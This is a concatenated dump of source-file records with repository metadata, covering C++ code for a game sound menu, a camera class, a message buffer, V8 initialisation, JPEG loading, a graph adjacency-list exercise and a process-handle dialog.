CBaseScreen::OnRButtonUp(x, y); CLTGUICtrl* pCtrl = GetSelectedControl(); if (handled) { if (pCtrl == m_pMusicVolumeCtrl) { UpdateData(LTTRUE); m_pMusicQualityCtrl->Enable(m_bMusicEnabled && m_nMusicVolume > MUSIC_MIN_VOL); SaveSoundSettings(); } else if (pCtrl == m_pMusicQualityCtrl) ConfirmQualityChange(true); else if (pCtrl == m_pSoundQualityCtrl) ConfirmQualityChange(false); else SaveSoundSettings(); g_pInterfaceMgr->RequestInterfaceSound(IS_SELECT); } return handled; }
[ [ [ 1, 375 ] ] ]
a4ad52766ee64b90d241ddc0c0b1b4dc8d13d1d8
f13f46fbe8535a7573d0f399449c230a35cd2014
/JelloMan/CameraBase.h
ff51f3061b61f0b34244e8ccde936de31bad122e
[]
no_license
fangsunjian/jello-man
354f1c86edc2af55045d8d2bcb58d9cf9b26c68a
148170a4834a77a9e1549ad3bb746cb03470df8f
refs/heads/master
2020-12-24T16:42:11.511756
2011-06-14T10:16:51
2011-06-14T10:16:51
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,338
h
#pragma once #include "D3DUtil.h" #include "Vector4.h" #include "Controls.h" #include "Blox2D.h" #include "BoundingFrustum.h" #include "BoundingSphere.h" #include "Matrix.h" namespace Graphics { namespace Camera { class CameraBase { public: // CONSTRUCTOR - DESTRUCTOR CameraBase(int windowWidth, int windowHeight); virtual ~CameraBase(); // GENERAL virtual void Tick(const float dTime); virtual void OnResize(int windowWidth, int windowHeight); // SETTERS virtual void SetPosition(const Vector3& pos) { m_PosWorld = pos; } virtual void LookAt( const Vector3& pos, const Vector3& target, const Vector3& up ); // camera params virtual void SetLens( float aspectRatio = (4.0f/3.0f), float fov = PiOver4, float nearZ = 10.0f, float farZ = 10000.0f ); virtual void SetAspectRatio(float aspectRatio = (4.0f/3.0f)) { m_AspectRatio = aspectRatio; } virtual void SetSpeed(float s) { m_Speed = s; } virtual void SetMouseSensitivity(float sens); // make camera active virtual void SetActive(bool active) { m_bIsActive = active; } virtual bool IsInView(const BoundingSphere& sphere); // GETTERS // matrices virtual Matrix GetView() const { return Matrix(m_matView); } virtual Matrix GetProjection() const { return Matrix(m_matProjection); } virtual Matrix GetViewProjection() const { return Matrix(m_matViewProjection); } // vectors virtual Vector3 GetRight() const { return m_RightWorld; } virtual Vector3 GetUp() const { return m_UpWorld; } virtual Vector3 GetLook() const { return m_LookWorld; } virtual Vector3 GetPosition() const { return m_PosWorld; } protected: // build matrix void BuildViewMatrix(); void BuildProjectionMatrix(); // DATAMEMBERS Matrix m_matView; Matrix m_matProjection; Matrix m_matViewProjection; Vector3 m_PosWorld; Vector3 m_RightWorld; Vector3 m_UpWorld; Vector3 m_LookWorld; BoundingFrustum m_BoundingFrustum; float m_Speed; float m_FastForward; float m_MouseSensitivity; float m_FOV; float m_AspectRatio; float m_NearClippingPlane, m_FarClippingPlane; bool m_bIsActive; private: // DISABLE DEFAULT COPY & ASSIGNMENT CameraBase(const CameraBase& t); CameraBase& operator=(const CameraBase& t); }; }}
[ "[email protected]", "bastian.damman@0fb7bab5-1bf9-c5f3-09d9-7611b49293d6" ]
[ [ [ 1, 6 ], [ 10, 10 ], [ 14, 17 ], [ 20, 22 ], [ 25, 27 ], [ 29, 30 ], [ 32, 35 ], [ 37, 40 ], [ 42, 43 ], [ 45, 45 ], [ 47, 48 ], [ 50, 50 ], [ 52, 54 ], [ 61, 62 ], [ 64, 64 ], [ 66, 66 ], [ 68, 68 ], [ 70, 71 ], [ 73, 78 ], [ 82, 87 ], [ 90, 98 ], [ 100, 100 ] ], [ [ 7, 9 ], [ 11, 13 ], [ 18, 19 ], [ 23, 24 ], [ 28, 28 ], [ 31, 31 ], [ 36, 36 ], [ 41, 41 ], [ 44, 44 ], [ 46, 46 ], [ 49, 49 ], [ 51, 51 ], [ 55, 60 ], [ 63, 63 ], [ 65, 65 ], [ 67, 67 ], [ 69, 69 ], [ 72, 72 ], [ 79, 81 ], [ 88, 89 ], [ 99, 99 ], [ 101, 104 ] ] ]
5dfe53779d77c3b61eba7307d224b7e1540efbff
27d5670a7739a866c3ad97a71c0fc9334f6875f2
/CPP/include/MsgBuffer.h
a49bb43bc6b476cb28efa270377c89b4ac3a3afb
[ "BSD-3-Clause" ]
permissive
ravustaja/Wayfinder-S60-Navigator
ef506c418b8c2e6498ece6dcae67e583fb8a4a95
14d1b729b2cea52f726874687e78f17492949585
refs/heads/master
2021-01-16T20:53:37.630909
2010-06-28T09:51:10
2010-06-28T09:51:10
null
0
0
null
null
null
null
UTF-8
C++
false
false
3,629
h
/* Copyright (c) 1999 - 2010, Vodafone Group Services Ltd All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the Vodafone Group Services Ltd nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef MSG_BUFFER_H #define MSG_BUFFER_H #include "Buffer.h" namespace isab{ class MsgBuffer : public Buffer { public: protected: /** The destination module of this message */ uint32 m_destination; /** The source of this message */ uint32 m_source; /** Command type See the enum MsgTypes. */ uint16 m_cmd; /** Extra data. Free for use */ uint16 m_extraData; public: MsgBuffer(uint32 dest, uint32 src, uint16 msgType, size_t length = 4) : Buffer(length), m_destination(dest), m_source(src), m_cmd(msgType), m_extraData(0) { } MsgBuffer(const MsgBuffer &m) : Buffer(m), m_destination(m.m_destination), m_source(m.m_source), m_cmd(m.m_cmd), m_extraData(m.m_extraData) { } private: const MsgBuffer& operator=(const MsgBuffer& mbuf); public: MsgBuffer(Buffer *buf, uint32 dest, uint32 src, uint16 msgType) : Buffer(0), m_destination(dest), m_source(src), m_cmd(msgType), m_extraData(0) { // takeDataAndClear(*buf); takeDataAndDelete(buf); } void setExtraData(uint16 data) { m_extraData = data; } uint16 getExtraData() const { return m_extraData; } /** @return the destination address for this message */ uint32 getDestination() const{ return m_destination; } /** Change the destination for this message. * @return the old destination address for this message */ uint32 setDestination(uint32 newDst){ uint32 oldDest = m_destination; m_destination = newDst; return oldDest; } /** @return the source address for this message */ uint32 getSource() const { return m_source; } /** @return the message type (see the enum MessageTypes */ uint16 getMsgType() const { return m_cmd; } }; } #endif
[ [ [ 1, 98 ] ] ]
f49ff427bc8fcd151010572b773ca94bfdf8c864
21fe9ddd8ba3a3798246be0f01a56a10e07acb2e
/v8/src/v8.cc
c47e8725aac0068c4efe443d63cceab07a63252d
[ "bzip2-1.0.6", "BSD-3-Clause" ]
permissive
yong/xruby2
5e2ed23574b8f9f790b7df2ab347acca4f651373
ecc8fa062c30cb54ef41d2ccdbe46c6d5ffaa844
refs/heads/master
2021-01-20T11:26:04.196967
2011-12-02T17:40:48
2011-12-02T17:40:48
2,893,039
0
0
null
null
null
null
UTF-8
C++
false
false
7,508
cc
// Copyright 2011 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include "v8.h" #include "isolate.h" #include "elements.h" #include "bootstrapper.h" #include "debug.h" #include "deoptimizer.h" #include "heap-profiler.h" #include "hydrogen.h" #include "lithium-allocator.h" #include "log.h" #include "runtime-profiler.h" #include "serialize.h" #include "store-buffer.h" namespace v8 { namespace internal { static Mutex* init_once_mutex = OS::CreateMutex(); static bool init_once_called = false; bool V8::is_running_ = false; bool V8::has_been_setup_ = false; bool V8::has_been_disposed_ = false; bool V8::has_fatal_error_ = false; bool V8::use_crankshaft_ = true; static Mutex* entropy_mutex = OS::CreateMutex(); static EntropySource entropy_source; bool V8::Initialize(Deserializer* des) { // Setting --harmony implies all other harmony flags. // TODO(rossberg): Is there a better place to put this? if (FLAG_harmony) { FLAG_harmony_typeof = true; FLAG_harmony_scoping = true; FLAG_harmony_proxies = true; FLAG_harmony_collections = true; } InitializeOncePerProcess(); // The current thread may not yet had entered an isolate to run. // Note the Isolate::Current() may be non-null because for various // initialization purposes an initializing thread may be assigned an isolate // but not actually enter it. if (i::Isolate::CurrentPerIsolateThreadData() == NULL) { i::Isolate::EnterDefaultIsolate(); } ASSERT(i::Isolate::CurrentPerIsolateThreadData() != NULL); ASSERT(i::Isolate::CurrentPerIsolateThreadData()->thread_id().Equals( i::ThreadId::Current())); ASSERT(i::Isolate::CurrentPerIsolateThreadData()->isolate() == i::Isolate::Current()); if (IsDead()) return false; Isolate* isolate = Isolate::Current(); if (isolate->IsInitialized()) return true; is_running_ = true; has_been_setup_ = true; has_fatal_error_ = false; has_been_disposed_ = false; return isolate->Init(des); } void V8::SetFatalError() { is_running_ = false; has_fatal_error_ = true; } void V8::TearDown() { Isolate* isolate = Isolate::Current(); ASSERT(isolate->IsDefaultIsolate()); if (!has_been_setup_ || has_been_disposed_) return; isolate->TearDown(); is_running_ = false; has_been_disposed_ = true; } static void seed_random(uint32_t* state) { for (int i = 0; i < 2; ++i) { if (FLAG_random_seed != 0) { state[i] = FLAG_random_seed; } else if (entropy_source != NULL) { uint32_t val; ScopedLock lock(entropy_mutex); entropy_source(reinterpret_cast<unsigned char*>(&val), sizeof(uint32_t)); state[i] = val; } else { state[i] = random(); } } } // Random number generator using George Marsaglia's MWC algorithm. static uint32_t random_base(uint32_t* state) { // Initialize seed using the system random(). // No non-zero seed will ever become zero again. if (state[0] == 0) seed_random(state); // Mix the bits. Never replaces state[i] with 0 if it is nonzero. state[0] = 18273 * (state[0] & 0xFFFF) + (state[0] >> 16); state[1] = 36969 * (state[1] & 0xFFFF) + (state[1] >> 16); return (state[0] << 14) + (state[1] & 0x3FFFF); } void V8::SetEntropySource(EntropySource source) { entropy_source = source; } // Used by JavaScript APIs uint32_t V8::Random(Context* context) { ASSERT(context->IsGlobalContext()); ByteArray* seed = context->random_seed(); return random_base(reinterpret_cast<uint32_t*>(seed->GetDataStartAddress())); } // Used internally by the JIT and memory allocator for security // purposes. So, we keep a different state to prevent informations // leaks that could be used in an exploit. uint32_t V8::RandomPrivate(Isolate* isolate) { ASSERT(isolate == Isolate::Current()); return random_base(isolate->private_random_seed()); } bool V8::IdleNotification(int hint) { // Returning true tells the caller that there is no need to call // IdleNotification again. if (!FLAG_use_idle_notification) return true; // Tell the heap that it may want to adjust. return HEAP->IdleNotification(hint); } // Use a union type to avoid type-aliasing optimizations in GCC. typedef union { double double_value; uint64_t uint64_t_value; } double_int_union; Object* V8::FillHeapNumberWithRandom(Object* heap_number, Context* context) { uint64_t random_bits = Random(context); // Make a double* from address (heap_number + sizeof(double)). double_int_union* r = reinterpret_cast<double_int_union*>( reinterpret_cast<char*>(heap_number) + HeapNumber::kValueOffset - kHeapObjectTag); // Convert 32 random bits to 0.(32 random bits) in a double // by computing: // ( 1.(20 0s)(32 random bits) x 2^20 ) - (1.0 x 2^20)). const double binary_million = 1048576.0; r->double_value = binary_million; r->uint64_t_value |= random_bits; r->double_value -= binary_million; return heap_number; } void V8::InitializeOncePerProcess() { ScopedLock lock(init_once_mutex); if (init_once_called) return; init_once_called = true; // Setup the platform OS support. OS::Setup(); use_crankshaft_ = FLAG_crankshaft; if (Serializer::enabled()) { use_crankshaft_ = false; } CPU::Setup(); if (!CPU::SupportsCrankshaft()) { use_crankshaft_ = false; } RuntimeProfiler::GlobalSetup(); // Peephole optimization might interfere with deoptimization. FLAG_peephole_optimization = !use_crankshaft_; ElementsAccessor::InitializeOncePerProcess(); if (FLAG_stress_compaction) { FLAG_force_marking_deque_overflows = true; FLAG_gc_global = true; FLAG_max_new_space_size = (1 << (kPageSizeBits - 10)) * 2; } } } } // namespace v8::internal
[ [ [ 1, 238 ] ] ]
e43f1e428c2cf8d2377252d45bec8acb4bccec26
e53e3f6fac0340ae0435c8e60d15d763704ef7ec
/WDL/lice/lice_jpg.cpp
ea53a4c2025aa8474bb9d7c083868698c2f6086c
[]
no_license
b-vesco/vfx-wdl
906a69f647938b60387d8966f232a03ce5b87e5f
ee644f752e2174be2fefe43275aec2979f0baaec
refs/heads/master
2020-05-30T21:37:06.356326
2011-01-04T08:54:45
2011-01-04T08:54:45
848,136
2
0
null
null
null
null
UTF-8
C++
false
false
8,724
cpp
/* Cockos WDL - LICE - Lightweight Image Compositing Engine Copyright (C) 2007 and later, Cockos Incorporated File: lice_jpg.cpp (JPG loading for LICE) See lice.h for license and other information */ #include <stdio.h> #include "lice.h" #include <setjmp.h> extern "C" { #include "../jpeglib/jpeglib.h" }; struct my_error_mgr { struct jpeg_error_mgr pub; /* "public" fields */ jmp_buf setjmp_buffer; /* for return to caller */ }; static void LICEJPEG_Error(j_common_ptr cinfo) { longjmp(((my_error_mgr*)cinfo->err)->setjmp_buffer,1); } static void LICEJPEG_EmitMsg(j_common_ptr cinfo, int msg_level) { } static void LICEJPEG_FmtMsg(j_common_ptr cinfo, char *) { } static void LICEJPEG_OutMsg(j_common_ptr cinfo) { } static void LICEJPEG_reset_error_mgr(j_common_ptr cinfo) { cinfo->err->num_warnings = 0; cinfo->err->msg_code = 0; } static void LICEJPEG_init_source(j_decompress_ptr cinfo) {} static unsigned char EOI_data[2] = { 0xFF, 0xD9 }; static boolean LICEJPEG_fill_input_buffer(j_decompress_ptr cinfo) { cinfo->src->next_input_byte = EOI_data; cinfo->src->bytes_in_buffer = 2; return TRUE; } static void LICEJPEG_skip_input_data(j_decompress_ptr cinfo, long num_bytes) { if (num_bytes > 0) { if (num_bytes > (long) cinfo->src->bytes_in_buffer) { num_bytes = (long) cinfo->src->bytes_in_buffer; } cinfo->src->next_input_byte += (size_t) num_bytes; cinfo->src->bytes_in_buffer -= (size_t) num_bytes; } } static void LICEJPEG_term_source(j_decompress_ptr cinfo) {} LICE_IBitmap *LICE_LoadJPGFromResource(HINSTANCE hInst, int resid, LICE_IBitmap *bmp) { #ifdef _WIN32 HRSRC hResource = FindResource(hInst, MAKEINTRESOURCE(resid), "JPG"); if(!hResource) return NULL; DWORD imageSize = SizeofResource(hInst, hResource); if(imageSize < 8) return NULL; HGLOBAL res = LoadResource(hInst, hResource); const void* pResourceData = LockResource(res); if(!pResourceData) return NULL; unsigned char *data = (unsigned char *)pResourceData; struct jpeg_decompress_struct cinfo; struct my_error_mgr jerr={0,}; JSAMPARRAY buffer; int row_stride; jerr.pub.error_exit = LICEJPEG_Error; jerr.pub.emit_message = LICEJPEG_EmitMsg; jerr.pub.output_message = LICEJPEG_OutMsg; jerr.pub.format_message = LICEJPEG_FmtMsg; jerr.pub.reset_error_mgr = LICEJPEG_reset_error_mgr; cinfo.err = &jerr.pub; if (setjmp(jerr.setjmp_buffer)) { jpeg_destroy_decompress(&cinfo); DeleteObject(res); return 0; } jpeg_create_decompress(&cinfo); cinfo.src = (struct jpeg_source_mgr *) (*cinfo.mem->alloc_small) ((j_common_ptr) &cinfo, JPOOL_PERMANENT, sizeof (struct jpeg_source_mgr)); cinfo.src->init_source = LICEJPEG_init_source; cinfo.src->fill_input_buffer = LICEJPEG_fill_input_buffer; cinfo.src->skip_input_data = LICEJPEG_skip_input_data; cinfo.src->resync_to_restart = jpeg_resync_to_restart; cinfo.src->term_source = LICEJPEG_term_source; cinfo.src->next_input_byte = data; cinfo.src->bytes_in_buffer = imageSize; jpeg_read_header(&cinfo, TRUE); jpeg_start_decompress(&cinfo); row_stride = cinfo.output_width * cinfo.output_components; buffer = (*cinfo.mem->alloc_sarray) ((j_common_ptr) &cinfo, JPOOL_IMAGE, row_stride, 1); if (bmp) { bmp->resize(cinfo.output_width,cinfo.output_height); if (bmp->getWidth() != (int)cinfo.output_width || bmp->getHeight() != (int)cinfo.output_height) { jpeg_finish_decompress(&cinfo); jpeg_destroy_decompress(&cinfo); DeleteObject(res); return 0; } } else bmp=new LICE_MemBitmap(cinfo.output_width,cinfo.output_height); LICE_pixel *bmpptr = bmp->getBits(); int dbmpptr=bmp->getRowSpan(); if (bmp->isFlipped()) { bmpptr += dbmpptr*(bmp->getHeight()-1); dbmpptr=-dbmpptr; } while (cinfo.output_scanline < cinfo.output_height) { /* jpeg_read_scanlines expects an array of pointers to scanlines. * Here the array is only one element long, but you could ask for * more than one scanline at a time if that's more convenient. */ jpeg_read_scanlines(&cinfo, buffer, 1); /* Assume put_scanline_someplace wants a pointer and sample count. */ // put_scanline_someplace(buffer[0], row_stride); if (cinfo.output_components==3) { int x; for (x = 0; x < (int)cinfo.output_width; x++) { bmpptr[x]=LICE_RGBA(buffer[0][x*3],buffer[0][x*3+1],buffer[0][x*3+2],255); } } else if (cinfo.output_components==1) { int x; for (x = 0; x < (int)cinfo.output_width; x++) { int v=buffer[0][x]; bmpptr[x]=LICE_RGBA(v,v,v,255); } } else { memset(bmpptr,0,4*cinfo.output_width); } bmpptr+=dbmpptr; } jpeg_finish_decompress(&cinfo); jpeg_destroy_decompress(&cinfo); // we created cinfo.src with some special alloc so I think it gets collected DeleteObject(res); return bmp; #else return 0; #endif } LICE_IBitmap *LICE_LoadJPG(const char *filename, LICE_IBitmap *bmp) { struct jpeg_decompress_struct cinfo; struct my_error_mgr jerr={0,}; JSAMPARRAY buffer; int row_stride; FILE *fp=NULL; #ifdef _WIN32 if (GetVersion()<0x80000000) { WCHAR wf[2048]; if (MultiByteToWideChar(CP_UTF8,MB_ERR_INVALID_CHARS,filename,-1,wf,2048)) fp = _wfopen(wf,L"rb"); } #endif if (!fp) fp = fopen(filename,"rb"); if (!fp) return 0; jerr.pub.error_exit = LICEJPEG_Error; jerr.pub.emit_message = LICEJPEG_EmitMsg; jerr.pub.output_message = LICEJPEG_OutMsg; jerr.pub.format_message = LICEJPEG_FmtMsg; jerr.pub.reset_error_mgr = LICEJPEG_reset_error_mgr; cinfo.err = &jerr.pub; if (setjmp(jerr.setjmp_buffer)) { jpeg_destroy_decompress(&cinfo); fclose(fp); return 0; } jpeg_create_decompress(&cinfo); jpeg_stdio_src(&cinfo, fp); jpeg_read_header(&cinfo, TRUE); jpeg_start_decompress(&cinfo); row_stride = cinfo.output_width * cinfo.output_components; buffer = (*cinfo.mem->alloc_sarray) ((j_common_ptr) &cinfo, JPOOL_IMAGE, row_stride, 1); if (bmp) { bmp->resize(cinfo.output_width,cinfo.output_height); if (bmp->getWidth() != (int)cinfo.output_width || bmp->getHeight() != (int)cinfo.output_height) { jpeg_finish_decompress(&cinfo); jpeg_destroy_decompress(&cinfo); fclose(fp); return 0; } } else bmp=new LICE_MemBitmap(cinfo.output_width,cinfo.output_height); LICE_pixel *bmpptr = bmp->getBits(); int dbmpptr=bmp->getRowSpan(); if (bmp->isFlipped()) { bmpptr += dbmpptr*(bmp->getHeight()-1); dbmpptr=-dbmpptr; } while (cinfo.output_scanline < cinfo.output_height) { /* jpeg_read_scanlines expects an array of pointers to scanlines. * Here the array is only one element long, but you could ask for * more than one scanline at a time if that's more convenient. */ jpeg_read_scanlines(&cinfo, buffer, 1); /* Assume put_scanline_someplace wants a pointer and sample count. */ // put_scanline_someplace(buffer[0], row_stride); if (cinfo.output_components==3) { int x; for (x = 0; x < (int)cinfo.output_width; x++) { bmpptr[x]=LICE_RGBA(buffer[0][x*3],buffer[0][x*3+1],buffer[0][x*3+2],255); } } else if (cinfo.output_components==1) { int x; for (x = 0; x < (int)cinfo.output_width; x++) { int v=buffer[0][x]; bmpptr[x]=LICE_RGBA(v,v,v,255); } } else memset(bmpptr,0,4*cinfo.output_width); bmpptr+=dbmpptr; } jpeg_finish_decompress(&cinfo); jpeg_destroy_decompress(&cinfo); fclose(fp); return bmp; } class LICE_JPGLoader { public: _LICE_ImageLoader_rec rec; LICE_JPGLoader() { rec.loadfunc = loadfunc; rec.get_extlist = get_extlist; rec._next = LICE_ImageLoader_list; LICE_ImageLoader_list = &rec; } static LICE_IBitmap *loadfunc(const char *filename, bool checkFileName, LICE_IBitmap *bmpbase) { if (checkFileName) { const char *p=filename; while (*p)p++; while (p>filename && *p != '\\' && *p != '/' && *p != '.') p--; if (stricmp(p,".jpg")&&stricmp(p,".jpeg")&&stricmp(p,".jfif")) return 0; } return LICE_LoadJPG(filename,bmpbase); } static const char *get_extlist() { return "JPEG files (*.JPG;*.JPEG;*.JFIF)\0*.JPG;*.JPEG;*.JFIF\0"; } }; static LICE_JPGLoader LICE_jgpldr;
[ [ [ 1, 310 ] ] ]
36c2bd791962d9f69ebdfe0f7d3cd178e0d721c3
402829c0daadea441a0b81e70bdb942fdc6f444e
/Graph_AdjacentList/Graph_AdjacentList.cpp
cabdaab9b2ba4113be0365cd81819164c919dca5
[]
no_license
huangyingw/Graph_AdjacentList
1d85644547ba09a6feecf3644d3945ea3b376a16
f7799e1ddeab8a2d5bcde7e30120700644c69f3e
refs/heads/master
2021-01-19T04:52:31.101994
2010-11-10T03:03:46
2010-11-10T03:03:46
2,538,367
0
1
null
null
null
null
GB18030
C++
false
false
3,662
cpp
// Graph_AdjacentList.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <iostream> using namespace std; #define INT_MAX 10000 #define inf 9999 #define max 20 //…………………………………………邻接矩阵定义…………………… typedef struct ArcCell { int weight;//弧的权值 }ArcCell,AdjMatrix[20][20]; typedef struct { char vexs[20]; AdjMatrix arcs; int vexNum,arcNum; }MGraph_L; typedef struct node { int adjvex;//邻接点域 struct node *next;//链域 int weight; }EdgeNode; typedef struct vnode { //顶点表结点 char vertex;//顶点域 EdgeNode *firstedge;//边表头指针 }VertexNode; typedef struct Vnode//邻接链表顶点头接点 { char vertex;//顶点域vertex存放顶点vi的信息 EdgeNode *firstedge;//指向第一条依附该结点的弧的指针 }Vnode,Adjlist; typedef struct//图的定义 { VertexNode vertices[max]; int vexNum,arcNum;//顶点数目,弧数目 }Algraph; typedef struct { Adjlist adjlist;//邻接表 int n,e;//图中当前顶点数和边数 }ALGraph;//对于简单的应用,无须定义此类型,可直接使用AdjList类型. void CreatMGraph_L(MGraph_L &G,int* data,int dim)//创建图用邻接矩阵表示 { G.vexNum=7; G.arcNum=9; for(int i=0;i<dim;i++) { _itoa_s( i, &G.vexs[i],8,10); for(int j=0;j<dim;j++) { if(data[dim*i+j]<INT_MAX) { G.arcs[i][j].weight=data[dim*i+j]; G.arcs[j][i].weight=data[dim*i+j]; } } } } void PrintMGraph_L(MGraph_L &G)//创建图用邻接矩阵表示 { for(int i=0;i<G.vexNum;i++) { for(int j=0;j<G.vexNum;j++) { if(G.arcs[i][j].weight>0&&G.arcs[i][j].weight<INT_MAX) { cout<<i<<"->"<<j<<":"<<G.arcs[i][j].weight<<","; } } cout<<endl; } } void CreatAdj(Algraph &gra,MGraph_L G)//用邻接表存储图 { EdgeNode *arc; for(int i=0;i<G.vexNum;++i) { gra.vertices[i].vertex=G.vexs[i]; gra.vertices[i].firstedge=NULL; } for(int i=0;i<G.vexNum;++i) { for(int j=0;j<G.vexNum;++j) { if(gra.vertices[i].firstedge==NULL) { if(G.arcs[i][j].weight>0&&G.arcs[i][j].weight<INT_MAX&&j<G.vexNum) { arc=new EdgeNode(); arc->adjvex=j; arc->weight=G.arcs[i][j].weight; arc->next=NULL; gra.vertices[i].firstedge=arc; } } else { if(G.arcs[i][j].weight>0&&G.arcs[i][j].weight<INT_MAX&&j<G.vexNum) { arc=new EdgeNode(); arc->adjvex=j; arc->weight=G.arcs[i][j].weight; arc->next=gra.vertices[i].firstedge; gra.vertices[i].firstedge=arc; } } } } gra.vexNum=G.vexNum; gra.arcNum=G.arcNum; } void PrintAdj(Algraph G)//打印邻接矩阵 { EdgeNode *node; for(int i=0;i<G.vexNum;i++) { node=G.vertices[i].firstedge; cout<<G.vertices[i].vertex; while(NULL!=node) { cout<<"->"<<node->adjvex<<":"<<node->weight ; node=node->next; } cout<<endl; } } int _tmain(int argc, _TCHAR* argv[]) { Algraph gra; MGraph_L G; int data[7][7]={{INT_MAX,28,INT_MAX,INT_MAX,INT_MAX,10,INT_MAX}, {28,INT_MAX,16,INT_MAX,INT_MAX,INT_MAX,14}, {INT_MAX,16,INT_MAX,12,INT_MAX,INT_MAX,INT_MAX}, {INT_MAX,INT_MAX,12,INT_MAX,22,INT_MAX,18}, {INT_MAX,INT_MAX,INT_MAX,22,INT_MAX,25,24}, {10,INT_MAX,INT_MAX,INT_MAX,25,INT_MAX,INT_MAX}, {INT_MAX,14,INT_MAX,18,24,INT_MAX,INT_MAX}}; CreatMGraph_L(G,*data,7);//创建图用邻接矩阵表示 CreatAdj(gra,G); cout<<"现在开始打印邻接表:"<<endl; PrintAdj(gra); return 0; }
[ [ [ 1, 171 ] ] ]
e89d775890490bb8dcd7ef3eda97ee2aef7a1b3d
26706a661c23f5c2c1f97847ba09f44b7b425cf6
/TaskManager/DlgProcessHandle.h
773b84c65bfe642d25f568eea90933085b5f9981
[]
no_license
124327288/nativetaskmanager
96a54dbe150f855422d7fd813d3631eaac76fadd
e75b3d9d27c902baddbb1bef975c746451b1b8bb
refs/heads/master
2021-05-29T05:18:26.779900
2009-02-10T13:23:28
2009-02-10T13:23:28
null
0
0
null
null
null
null
GB18030
C++
false
false
1,459
h
#pragma once #include "afxcmn.h" #include "SortListCtrl.h" #include "NtSystemInfo.h" using namespace NT; // CDlgProcessHandle 对话框 typedef struct tagHandleColInfo { CString strColName; // Colnum名称 UINT uWidth; // Colnum宽度 }HandleColInfo; class CDlgProcessHandle : public CDialog { DECLARE_DYNAMIC(CDlgProcessHandle) public: CDlgProcessHandle(CWnd* pParent = NULL); // 标准构造函数 virtual ~CDlgProcessHandle(); // 对话框数据 enum { IDD = IDD_FORMVIEW_PROCESS_TAB_HANDLE }; private: CSortListCtrl m_wndListHandle; CFont m_font; int m_nProcessID; // 当前选中进程ID CWinThread *m_pHandleThread; // 获取内存信息线程 static const HandleColInfo m_HandleColInfo[]; // 句柄List显示信息 private: void InitList(); // 初始化ListCtrl void InsertItem(); // 插入数据 vector<SystemHandleInformation::HANDLE_INFORMATION> m_vecHandleInfo; // 句柄信息 static DWORD WINAPI HandleInfoThread(LPVOID pVoid); // 搜索句柄线程 protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 virtual BOOL OnInitDialog(); public: DECLARE_EASYSIZE DECLARE_MESSAGE_MAP() afx_msg void OnDestroy(); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg LRESULT OnLoadHandleInfo(WPARAM wParam,LPARAM lParam); afx_msg LRESULT OnFlushHandleInfo(WPARAM wParam,LPARAM lParam); };
[ "[email protected]@97a26042-f463-11dd-a7be-4b3ef3b0700c" ]
[ [ [ 1, 55 ] ] ]
f8be34aa06b072e6713d649c218d489ad55c12f1
814b49df11675ac3664ac0198048961b5306e1c5
/Code/Engine/Graphics/include/Light.h
287b2c4446a8f449863bcb5941f03278eb27376f
[]
no_license
Atridas/biogame
f6cb24d0c0b208316990e5bb0b52ef3fb8e83042
3b8e95b215da4d51ab856b4701c12e077cbd2587
refs/heads/master
2021-01-13T00:55:50.502395
2011-10-31T12:58:53
2011-10-31T12:58:53
43,897,729
0
0
null
null
null
null
UTF-8
C++
false
false
2,611
h
